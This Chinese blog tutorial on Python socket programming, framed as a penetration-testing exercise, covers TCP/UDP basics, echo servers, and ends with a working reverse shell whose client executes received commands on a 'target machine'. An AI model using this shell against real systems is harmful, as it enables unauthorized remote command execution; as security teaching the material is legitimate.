网络通信开发基础

2021/4/18 10:56:06

本文主要是介绍网络通信开发基础,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

任务目标:
建立 socket 连接通道,可以相互之间传输数据

使用语言:
python

任务描述:
在实际的渗透中,协议是建立据点网络通道的基础,可以通过网络通道对内部的服务器进行控制

本关主要锻炼大家对于协议的理解和对网络通道建立的使用方法,有了这个基础可以实现一些比如远控木马、端口扫描、服务爆破方面的工具。

报告要求
1、理解TCP、UDP协议的原理及特点
2、分别使用 TCP、UDP 协议实现数据通讯

扩展任务
客户端发送命令,服务端接收命令并执行

0x00 TCP/IP协议原理及特点

  • 简介

    计算机为了联网,就必须规定通信协议,早期的计算机网络,都是由各厂商自己规定一套协议,IBM、Apple和Microsoft都有各自的网络协议,互不兼容,这就好比一群人有的说英语,有的说中文,有的说德语,说同一种语言的人可以交流,不同的语言之间就不行了。
    
    为了把全世界的所有不同类型的计算机都连接起来,就必须规定一套全球通用的协议,为了实现互联网这个目标,互联网协议簇(Internet Protocol Suite)就是通用协议标准。Internet是由inter和net两个单词组合起来的,原意就是连接“网络”的网络,有了Internet,任何私有网络,只要支持这个协议,就可以联入互联网。
    
    因为互联网协议包含了上百种协议标准,但是最重要的两个协议是TCP和IP协议,所以,大家把互联网的协议简称TCP/IP协议。
    
    通信的时候,双方必须知道对方的标识,好比发邮件必须知道对方的邮件地址。互联网上每个计算机的唯一标识就是IP地址,类似123.123.123.123。如果一台计算机同时接入到两个或更多的网络,比如路由器,它就会有两个或多个IP地址,所以,IP地址对应的实际上是计算机的网络接口,通常是网卡。
    
    IP协议负责把数据从一台计算机通过网络发送到另一台计算机。数据被分割成一小块一小块,然后通过IP包发送出去。由于互联网链路复杂,两台计算机之间经常有多条线路,因此,路由器就负责决定如何把一个IP包转发出去。IP包的特点是按块发送,途径多个路由,但不保证能到达,也不保证顺序到达。
    
    TCP协议则是建立在IP协议之上的。TCP协议负责在两台计算机之间建立可靠连接,保证数据包按顺序到达。TCP协议会通过握手建立连接,然后,对每个IP包编号,确保对方按顺序收到,如果包丢掉了,就自动重发。许多常用的更高级的协议都是建立在TCP协议基础上的,比如用于浏览器的HTTP协议、发送邮件的SMTP协议等。
    
    一个TCP报文除了包含要传输的数据外,还包含源IP地址和目标IP地址,源端口和目标端口。
    
    端口有什么作用?在两台计算机通信时,只发IP地址是不够的,因为同一台计算机上跑着多个网络程序。一个TCP报文来了之后,到底是交给浏览器还是QQ,就需要端口号来区分。每个网络程序都向操作系统申请唯一的端口号,这样,两个进程在两台计算机之间建立网络连接就需要各自的IP地址和各自的端口号。
    
  • 引入

    1. TCP/IP协议族的传输层协议主要包括TCP和UDP
    2. TCP是面向连接的可靠的传输层协议。它支持在并不可靠的网络上实现面向连接的可靠的数据传输
    3. UDP是无连接的传输协议,主要用于支持在较可靠的链路上的数据传输,或用于对延迟较敏感的应用
    
  • TCP的基本原理

    三次握手->建立可靠连接
    确认机制->应答接收
    端口号->多路复用
    序列号->丢失检测、乱序重排
    完整性校验->差错检测
    窗口机制->流量控制
    
  • TCP三次握手

三次握手过程说明

1. 由客户端发送建立TCP连接的请求报文,其中报文中包含seq序列号,是由发送端随机生成的,并且将报文中的SYN字段置为1,表示需要建立TCP连接。(SYN=1,seq=x,x为随机生成数值)

2. 由服务端回复客户端发送的TCP连接请求报文,其中包含seq序列号,是由回复端随机生成的,并且将SYN置为1,而且会产生ACK字段,ACK字段数值是在客户端发送过来的序列号seq的基础上加1进行回复,以便客户端收到信息时,知晓自己的TCP建立请求已得到验证。(SYN=1,ACK=x+1,seq=y,y为随机生成数值)这里的ack加1可以理解为是确认和谁建立连接。

3. 客户端收到服务端发送的TCP建立验证请求后,会使自己的序列号加1表示,并且再次回复ACK验证请求,在服务端发过来的seq上加1进行回复。(SYN=1,ACK=y+1,seq=x+1)
  • TCP四次挥手

四次挥手过程说明:

1. 客户端发送断开TCP连接请求的报文,其中报文中包含seq序列号,是由发送端随机生成的,并且还将报文中的FIN字段置为1,表示需要断开TCP连接。(FIN=1,seq=x,x由客户端随机生成)

2. 服务端会回复客户端发送的TCP断开请求报文,其包含seq序列号,是由回复端随机生成的,而且会产生ACK字段,ACK字段数值是在客户端发过来的seq序列号基础上加1进行回复,以便客户端收到信息时,知晓自己的TCP断开请求已经得到验证。(FIN=1,ACK=x+1,seq=y,y由服务端随机生成)

3. 服务端在回复完客户端的TCP断开请求后,不会马上进行TCP连接的断开,服务端会先确保断开前,所有传输到A的数据是否已经传输完毕,一旦确认传输数据完毕,就会将回复报文的FIN字段置1,并且产生随机seq序列号。(FIN=1,ACK=x+1,seq=z,z由服务端随机生成)

4. 客户端收到服务端的TCP断开请求后,会回复服务端的断开请求,包含随机生成的seq字段和ACK字段,ACK字段会在服务端的TCP断开请求的seq基础上加1,从而完成服务端请求的验证回复(FIN=1,ACK=z+1,seq=h,h为客户端随机生成)
  • UDP的基本原理

     "面向非连接"就是在正式通信前不必与对方先建立连接,不管对方状态就直接发送。与手机短信非常相似:你在发短信的时候,只需要输入对方号码就OK了。
    
  • TCP与UDP的区别

    TCP UDP
    是否连接 面向连接 面向非连接
    传输可靠性 可靠的 不可靠的
    应用场合 传输大量的数据 少量数据
    速度

0x01 TCP编程

  • 基本语法

    Socket又称"套接字"是网络编程的一个抽象概念。通常我们用一个Socket表示“打开了一个网络链接”,而打开一个Socket需要知道目标计算机的IP地址和端口号,再指定协议类型即可。
    

    python中,用socket()函数来创建套接字:

    socket.socket([family[, type[, proto]]])
    

参数:

  • family: 套接字家族可以是 AF_UNIX 或者 AF_INET
  • type: 套接字类型可以根据是面向连接的还是非连接分为SOCK_STREAMSOCK_DGRAM
  • protocol: 一般不填默认为0.

AF_INET指定使用IPv4协议,SOCK_STREAM指定使用面向流的TCP协议,SOCK_DGRAM指定使用UDP协议
Socket 对象(内建)方法

函数 描述
s.bind() 绑定地址(host,port)到套接字, 在AF_INET下,以元组(host,port)的形式表示地址。
s.listen() 开始TCP监听。backlog指定在拒绝连接之前,操作系统可以挂起的最大连接数量。该值至少为1,大部分应用程序设为5就可以了。
s.accept() 被动接受TCP客户端连接,(阻塞式)等待连接的到来
客户端套接字
s.connect() 主动初始化TCP服务器连接,。一般address的格式为元组(hostname,port),如果连接出错,返回socket.error错误。
s.connect_ex() connect()函数的扩展版本,出错时返回出错码,而不是抛出异常
公共用途的套接字函数
s.recv() 接收TCP数据,数据以字符串形式返回,bufsize指定要接收的最大数据量。flag提供有关消息的其他信息,通常可以忽略。
s.send() 发送TCP数据,将string中的数据发送到连接的套接字。返回值是要发送的字节数量,该数量可能小于string的字节大小。
s.sendall() 完整发送TCP数据,完整发送TCP数据。将string中的数据发送到连接的套接字,但在返回之前会尝试发送所有数据。成功返回None,失败则抛出异常。
s.recvfrom() 接收UDP数据,与recv()类似,但返回值是(data,address)。其中data是包含接收数据的字符串,address是发送数据的套接字地址。
s.sendto() 发送UDP数据,将数据发送到套接字,address是形式为(ipaddr,port)的元组,指定远程地址。返回值是发送的字节数。
s.close() 关闭套接字
s.getpeername() 返回连接套接字的远程地址。返回值通常是元组(ipaddr,port)。
s.getsockname() 返回套接字自己的地址。通常是一个元组(ipaddr,port)
s.setsockopt(level,optname,value) 设置给定套接字选项的值。
s.getsockopt(level,optname[.buflen]) 返回套接字选项的值。
s.settimeout(timeout) 设置套接字操作的超时期,timeout是一个浮点数,单位是秒。值为None表示没有超时期。一般,超时期应该在刚创建套接字时设置,因为它们可能用于连接的操作(如connect())
s.gettimeout() 返回当前超时期的值,单位是秒,如果没有设置超时期,则返回None。
s.fileno() 返回套接字的文件描述符。
s.setblocking(flag) 如果 flag 为 False,则将套接字设为非阻塞模式,否则将套接字设为阻塞模式(默认值)。非阻塞模式下,如果调用 recv() 没有发现任何数据,或 send() 调用无法立即发送数据,那么将引起 socket.error 异常。
s.makefile() 创建一个与该套接字相关连的文件
  • 实例1(写一个客户端访问新浪)

    当我们在浏览器中访问新浪时,我们自己的计算机就是客户端,浏览器会主动向新浪的服务器发起连接。如果一切顺利,新浪的服务器接受了我们的连接,一个TCP连接就建立起来的,后面的通信就是发送网页内容了。下面就来实现

  # 导入socket库
  import socket
  
  #创建一个socket套接字
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  
  #建立连接
  s.connect(('www.sina.com',80))   #里面的参数必须是个tuple,包含地址和端口号
  
  # 发送数据
  s.send(b'GET / HTTP/1.1\r\nHost:www.sina.com\r\nConnection: close\r\n\r\n')
  
  # 接收数据
  buffer=[]
  while True:
      d=s.recv(1024)
      if d:
          buffer.append(d)
      else:
          break
  
  data=b''.join(buffer)
  
  # 关闭连接
  s.close()
  
  # 接收到的数据包括HTTP头和网页本身,我们只需要把HTTP头和网页分离一下,把HTTP头打印出来,网页内容保存到文件:
  header , html = data.split(b'\r\n\r\n',1)
  print(header.decode('utf-8'))
  with open('sina','wb') as f:
      f.write(html)

运行上面的客户端脚本,会打印出响应包的header,同时也会将响应包的body写入到sina.html

  • 实例2(编写一个简单的服务端程序,它接收客户端连接,把客户端发过来的字符串加上Hello再发回去。)

    服务器进程首先要绑定一个端口并监听来自其他客户端的连接。如果某个客户端连接过来了,服务器就与该客户端建立Socket连接,随后的通信就靠这个Socket连接了。所以,服务器会打开固定端口(比如80)监听,每来一个客户端连接,就创建该Socket连接。由于服务器会有大量来自客户端的连接,所以,服务器要能够区分一个Socket连接是和哪个客户端绑定的。一个Socket依赖4项:服务器地址、服务器端口、客户端地址、客户端端口来唯一确定一个Socket。
    服务端

    import socket
    import threading
    import time
    
    # 创建一个基于IPV4和TCP协议的Socket
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
    # 绑定监听的端口
    s.bind(('127.0.0.1',9999))
    
    # 开始监听
    #设置最大连接数,监听端口
    s.listen(5) 
    print(f'Waiting for connection...')
    
    def tcplink(sock,addr):
        print(f'Accept new connection from %s:%s' % addr)
    #连接建立后,服务器首先发一条欢迎消息,然后等待客户端数据,并加上Hello再发送给客户端。如果客户端发送了exit字符串,就直接关闭连接。
        sock.send(b'welcome!')
        while True:
            data=sock.recv(1024)
            time.sleep(1)
            if not data or data.decode('utf-8') =='exit':
                break
            sock.send(('Hello,%s!' % data.decode('utf-8')).encode('utf-8'))
        sock.close()
        print('Connection from %s:%s closed.' % addr)        
    #服务器程序通过一个永久循环来接受来自客户端的连接,accept()会等待并返回一个客户端的连接:
    while True:
        # 接受一个新连接
        sock , addr = s.accept()
    #每个连接都必须创建新线程(或进程)来处理,否则,单线程在处理连接的过程中,无法接受其他客户端的连接:
        # 创建新进程来处理TCP连接
        t= threading.Thread(target=tcplink,args=(sock,addr))
        t.start()
    

    要测试这个服务器程序,我们还需要编写一个客户端程序:

  import socket
  # 创建一个socket套接字
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  # 建立连接
  s.connect(('127.0.0.1',9999))
  # 建立连接后,因为服务器会先发送欢迎 所以客户端先接受数据
  print(s.recv(1024).decode('utf-8'))
  for data in [b'laoliu',b'laoyang',b'world']:
      s.send(data)
      print(s.recv(1024).decode('utf-8'))
  
  s.send(b'exit')
  s.close()

接下来首先启动服务端脚本,服务器开始监听

然后再启动客户端脚本,客户端会主动连接服务端监听的端口,同时服务端收到连接后会向客户端发送welcome,之后客户端会执行for循环,将列表内的内容发送给服务端,服务端收到后,将这些内容前面加上hello,再重新发回给客户端

  • 上面需要注意的点

    • 在服务器端,socket()返回的套接字用于监听(listen)和接受(accept),这个套接字不能用于与客户端之间发送和接收数据。
    • accept()接受一个客户端的连接请求,并返回一个新的套接字,不同于以上socket()返回的用于监听和接受客户端的连接请求的套接字;与此客户端通信是通过这个新的套接字上发送和接收数据来完成的。
    • 假设一共有3个客户端连接到服务器端,那么在服务器端就一共有4个套接字,第1个是socket()返回的,用于监听的套接字;其余3个是分别调用3次accept()返回的不同的套接字。
    • 用TCP协议进行Socket编程在Python中十分简单,对于客户端,要主动连接服务器的IP和指定端口,对于服务器,要首先监听指定端口,然后,对每一个新的连接,创建一个线程或进程来处理。通常,服务器程序会无限运行下去。

0x02 UDP编程

  • 引入

    和上面TCP不同的是,使用UDP协议时,不需要建立连接,只需要知道对方的IP地址和端口号,就可以直接发数据包。但是,能不能到达就不知道了。
    

    基本语法上面上面TCP也已经涵盖了UDP的,所以这里就直接写实例

  • 实例(编写一个简单的服务端程序,它接收客户端连接,把客户端发过来的字符串加上Hello再发回去。)

    服务端

    import socket
    
    s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)#SOCK_DGRA表示指定类型为udp协议
    #绑定端口和TCP一样,但是不需要调用listen()方法,而是直接接收来自任何客户端的数据:
    # 绑定端口
    s.bind(("127.0.0.1",9999))
    
    print("BIND UDP on 9999")
    
    while True:
        #接收数据
        try:
        #recvfrom()方法返回数据和客户端的地址与端口,这样,服务器收到数据后,直接调用sendto()就可以把数据用UDP发给客户端。
            data,addr  = s.recvfrom(1024)
            print("获取来自%s:%s" % addr)
            s.sendto(b"hello %s!" % data,addr)
        except Exception as e:
            pass
    

    客户端

    #客户端使用UDP时,首先仍然创建基于UDP的Socket,然后,不需要调用connect(),直接通过sendto()给服务器发数据:
    import socket
    s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    
    for data in [b'laoliu',b'laoyang',b'Hello']:
        s.sendto(data,('127.0.0.1',9999))
    #从服务器接收数据仍然调用recv()方法
        print(s.recv(1024).decode('utf-8'))
    s.close()
    

启动服务端开始绑定端口,然后启动客户端直接向服务端发送数据

0x03 实例编写一个反弹shell

客户端发送命令,服务端接收命令并执行反弹shell的情况,大概实战环境下就是目标机器是一台win7机器,我自己的攻击机是win10,我本地在win10开启服务端进行监听,将客户端脚本传到目标机器上运行,然后等待目标机器弹shell回来
  • 服务端

    #服务器端
    import socket
    import os
    import time
    s=socket.socket()   #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
    s.bind(('127.0.0.1',1234))    #绑定地址和端口#0.0.0.0接收任意客户端ip连接
    s.listen(5)                 #调用listen方法开始监听端口,传入的参数为等待连接的最大数量
    print(f'Waiting for connection...')
    con,addr=s.accept()#接受一个客户端的连接
    print('Connection from %s:%s' % addr)
    
    while True:
        # 服务端先接受数据,因为客户端连接过来的话首先会将其本地的绝对路径发过来,也就是客户端先在目标机器上执行pwd dir命令,将结果传回给服务端
        dir=con.recv(2048).decode()
        # 服务端收到结果后 输入要执行的命令并发送
        cmd=input('$'+dir+':').strip()
        
        con.send(cmd.encode())
        if cmd=='exit':
            break
        result=con.recv(2048)
        print(result.decode())
        time.sleep(1)
    
    s.close()
    print(f'退出')
    
  • 客户端

    import socket,os,time
    s=socket.socket()
    s.connect(('127.0.0.1',1234))
    
    while True:
        # 客户端首先获取当前目录的绝对路径,并发送给服务端
        dir=os.getcwd()
        s.send(dir.encode())
        # 接收服务端传过来的cmd命令
        cmd=s.recv(1024).decode()
        if cmd =='exit':
            break
        elif cmd.startswith('cd'):
            os.chdir(cmd.split()[1])
            result='切换目录成功!'
        else:
            result=os.popen(cmd).read()  #执行命令并将结果输出出来,用os.system不会回显执行命令的结果
        if not result:
            result='命令执行完毕成功!'
        s.send(result.encode())
        time.sleep(1)
    s.close()
    print(f'退出')
    

    运行服务端脚本等待shell弹回来

    上传客户端脚本并执行:

    试下执行命令:

如上就完成了一个简单的python实现的反弹shell



这篇关于网络通信开发基础的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程